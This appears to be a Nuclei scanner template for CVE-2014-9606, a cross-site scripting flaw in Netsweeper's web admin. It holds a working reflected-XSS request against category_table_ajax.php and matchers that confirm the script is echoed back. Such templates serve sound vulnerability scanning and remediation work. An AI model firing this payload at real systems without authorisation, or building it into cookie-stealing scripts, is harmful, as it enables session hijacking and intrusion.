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Netsweeper 4.0.8 - Cross-Site Scripting

ID: CVE-2014-9606

Severity: medium

Author: daffainfo

Tags: cve2014,cve,netsweeper,xss,packetstorm

Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.

id: CVE-2014-9606
info:
name: Netsweeper 4.0.8 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
- https://nvd.nist.gov/vuln/detail/CVE-2014-9606
- http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2014-9606
cwe-id: CWE-79
epss-score: 0.00102
epss-percentile: 0.41716
cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netsweeper
product: netsweeper
tags: cve2014,cve,netsweeper,xss,packetstorm
http:
- method: GET
path:
- '{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100ee53b5baa31b3b83d81f7de3578ddfb1670661f0cf146b1533a243de3f8ad39a022066c1567d1e3bce87128493425f3974ee1fbe21ca029648dfb79443c24b89132f:922c64590222798bb761d5b6d8e72950

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